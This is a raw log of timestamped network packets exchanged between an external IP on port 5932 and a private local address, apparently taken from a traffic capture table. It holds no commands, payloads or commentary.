Nov 17, 2023 06:23:08.182992935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.183026075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.183039904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.184165955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.184185982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.184211969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.185295105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.185338020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.185343027 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.186409950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.186454058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.186482906 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.187576056 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.187598944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.187628031 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.188702106 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.188720942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.188750982 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.189867973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.189887047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.189914942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.191006899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.191025972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.191054106 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.192260027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.192291975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.192305088 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.193294048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.193312883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.193341970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.194442034 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.194463015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.194494009 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.195542097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.195564032 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.195597887 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.196666002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.196716070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.196749926 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.198066950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.198086977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.198117018 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.199038029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.199055910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.199086905 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.200109005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.200144053 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.200160980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.201255083 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.201281071 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.201303959 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.202374935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.202410936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.202425957 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.203552008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.203572989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.203610897 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.204691887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.204710007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.204747915 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.205822945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.205842018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.205876112 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.206959963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.207012892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.207048893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.208081007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.208107948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.208127975 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.209206104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.209224939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.209254980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.210382938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.210411072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.210428953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.211508036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.211540937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.211556911 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.212650061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.212675095 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.212711096 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.213778973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.213798046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.213830948 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.215405941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.215439081 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.215451002 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.216125965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.216180086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.216181040 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.217330933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.217353106 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.217397928 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.218394995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.218425035 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.218441963 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.219484091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.219501972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.219528913 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.220598936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.220635891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.220649958 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.221796036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.221815109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.221865892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.222920895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.222940922 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.222981930 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.224059105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.224078894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.224118948 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.225147963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.225167990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.225204945 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.226305008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.226332903 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.226370096 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.227438927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.227495909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.227530956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.228590012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.228609085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.228641033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.229701996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.229721069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.229757071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.230884075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.230901957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.230931997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.232053995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.232073069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.232105017 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.233141899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.233160973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.233191967 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.234266996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.234286070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.234319925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.235389948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.235419989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.235443115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.236594915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.236614943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.236644030 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.237735987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.237788916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.237828016 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.238938093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.238955975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.238989115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.239978075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.239996910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.240025997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.241158962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.241177082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.241204023 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.242275953 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.242295027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.242321968 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.243422985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.243443012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.243470907 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.244560003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.244580030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.244610071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.245649099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.245668888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.245701075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.246892929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.246925116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.246934891 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.247992992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.248045921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.248078108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.249077082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.249095917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.249126911 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.250251055 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.250269890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.250305891 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.251382113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.251421928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.251435041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.252516985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.252545118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.252568960 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.253639936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.253659010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.253698111 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.254792929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.254811049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.254848003 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.255911112 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.255929947 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.255963087 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.257023096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.257044077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.257075071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.258132935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.258218050 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.258244038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.259284973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.259304047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.259337902 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.260426998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.260445118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.260479927 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.262047052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.262065887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.262098074 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.262691975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.262711048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.262739897 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.263818026 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.263839006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.263875961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.264899015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.264919043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.264946938 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.266074896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.266096115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.266125917 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.267153025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.267178059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.267210960 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.268341064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.268393040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.268454075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.269480944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.269499063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.269540071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.270551920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.270577908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.270610094 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.271673918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.271693945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.271725893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.272855997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.272876024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.272911072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.273988008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.274008036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.274040937 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.275082111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.275100946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.275134087 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.276216030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.276242971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.276268959 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.277328014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.277348042 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.277381897 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.278476954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.278527975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.278561115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.279546976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.279566050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.279601097 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.280730963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.280750990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.280786037 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.281848907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.281868935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.281900883 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.282984972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.283006907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.283036947 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.284214020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.284234047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.284261942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.285298109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.285317898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.285345078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.286380053 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.286398888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.286425114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.287761927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.287816048 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.287836075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.288594007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.288670063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.288693905 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.289706945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.289756060 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.289757967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.290998936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.291021109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.291049004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.292035103 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.292053938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.292078972 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.293123007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.293143988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.293169975 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.294305086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.294323921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.294349909 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.295412064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.295430899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.295460939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.296519041 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.296540022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.296570063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.297679901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.297698975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.297729015 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.298814058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.298865080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.298892975 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.299945116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.299964905 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.299994946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.301014900 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.301049948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.301064014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.302206993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.302227020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.302253962 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.303394079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.303414106 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.303438902 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.304428101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.304446936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.304472923 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.305552959 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.305572987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.305597067 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.306723118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.306741953 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.306773901 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.307813883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.307833910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.307861090 CET	49714	5932	192.168.2.5	95.214.25.98
